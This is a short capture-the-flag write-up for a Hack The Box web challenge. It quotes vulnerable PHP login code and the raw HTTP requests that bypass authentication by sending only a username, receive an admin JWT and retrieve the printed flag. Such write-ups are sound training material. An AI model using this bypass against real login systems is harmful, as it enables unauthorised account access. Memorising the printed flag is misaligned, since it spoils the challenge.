

# Insomnia

1) Checked the source code

[https://codeigniter.com/user\\_guide/database/query\\_builder.html](https://codeigniter.com/user_guide/database/query_builder.html)

```
public function login()
{
    $db = db_connect();
    $json_data = request()->getJSON(true);
    if (!count($json_data) == 2) {
        return $this->respond("Please provide username and password", 404);
    }
    $query = $db->table("users")->getWhere($json_data, 1, 0);
    $result = $query->getJSONArray();
    if (!$result) {
        return $this->respond("User not found", 404);
    } else {
        $key = (string) getenv("JWT_SECRET");
        $iat = time();
        $exp = $iat + 36000;
        $headers = [
            "alg" => "HS256",
            "typ" => "JWT",
        ];
        $payload = [
            "iat" => $iat,
            "exp" => $exp,
            "username" => $result["username"],
        ];
        $token = JWT::encode($payload, $key, "HS256");
    }
}
```

We can pass password as empty to get admin token

2) Got admin token

Request				Response			
Pretty	Raw	Hex		Pretty	Raw	Hex	Render
<pre>1 POST /index.php/login HTTP/1.1 2 Host: 94.237.49.212:42237 3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 4 Accept: */* 5 Accept-Language: en-US,en;q=0.5 6 Accept-Encoding: gzip, deflate, br 7 Referer: http://94.237.49.212:42237/index.php/login 8 Content-Type: application/json 9 Content-Length: 28 10 Origin: http://94.237.49.212:42237 11 Connection: close 12 13 {   "username":"administrator" }</pre>				<pre>1 HTTP/1.1 200 OK 2 Date: Tue, 04 Jun 2024 05:52:39 GMT 3 Server: Apache/2.4.57 (Debian) 4 X-Powered-By: PHP/8.1.27 5 Cache-Control: no-store, max-age=0, no-cache 6 Content-Length: 204 7 Connection: close 8 Content-Type: application/json; charset=UTF-8 9 10 {   "message":"Login Succesful",   "token":     "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOiE3MTc0ODAzNTksImV4cCI6MTcxNzUxNjM1OSwiZXNlcm5hbGwiOiJKZGpibmZldHJhdG9yIn0.WD6hwDw062wWhqXNA2GI GyZQ0qcAwg-9vAeGPoLYFuQ" }</pre>			

### 3) Got flag

Request				Response			
Pretty	Raw	Hex		Pretty	Raw	Hex	Render
<pre>1 GET /index.php/profile HTTP/1.1 2 Host: 94.237.49.212:42237 3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 5 Accept-Language: en-US,en;q=0.5 6 Accept-Encoding: gzip, deflate, br 7 Connection: close 8 Referer: http://94.237.49.212:42237/index.php/login 9 Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOiE3MTc0ODAzNTksImV4cCI6MTcxNzUxNjM1OSwiZXNlcm5hbGwiOiJKZGpibmZldHJhdG9yIn0.WD6hwDw062wWhqXNA2GI GyZQ0qcAwg-9vAeGPoLYFuQ 10 Upgrade-Insecure-Requests: 1 11 12</pre>				<pre>11 &lt;!DOCTYPE html&gt; 12 &lt;html lang="en"&gt; 13   &lt;head&gt; 14     &lt;meta charset="UTF-8" /&gt; 15     &lt;meta name="viewport" content="width=device-width, initial-scale=1.0" /&gt; 16     &lt;script 17       src="/js/jquery-3.2.1.slim.min.js" 18     &gt; 19   &lt;/script&gt; 20     &lt;script 21       src="/js/popper.min.js" 22     &gt; 23   &lt;/script&gt; 24     &lt;link rel="stylesheet" href="/css/style.css" /&gt; 25     &lt;title&gt; 26       Document 27     &lt;/title&gt; 28   &lt;/head&gt; 29   &lt;body&gt; 30     &lt;div class="app"&gt; 31       &lt;main&gt; 32         &lt;section class="home" style="background-image: url(/images/theme.gif); height: 100vh;" 33         &gt; 34           &lt;div class="home_container"&gt; 35             &lt;div class="home_title"&gt; 36               Welcome back administrator 37             &lt;/div&gt; 38             &lt;div class="home_desc"&gt; 39               HTB{I_just_want_to_sleep_a_little_bit!!!!} 40             &lt;/div&gt; 41           &lt;/div&gt; 42         &lt;/section&gt; 43       &lt;/main&gt; 44     &lt;/div&gt; 45   &lt;/body&gt; 46 &lt;/html&gt;</pre>			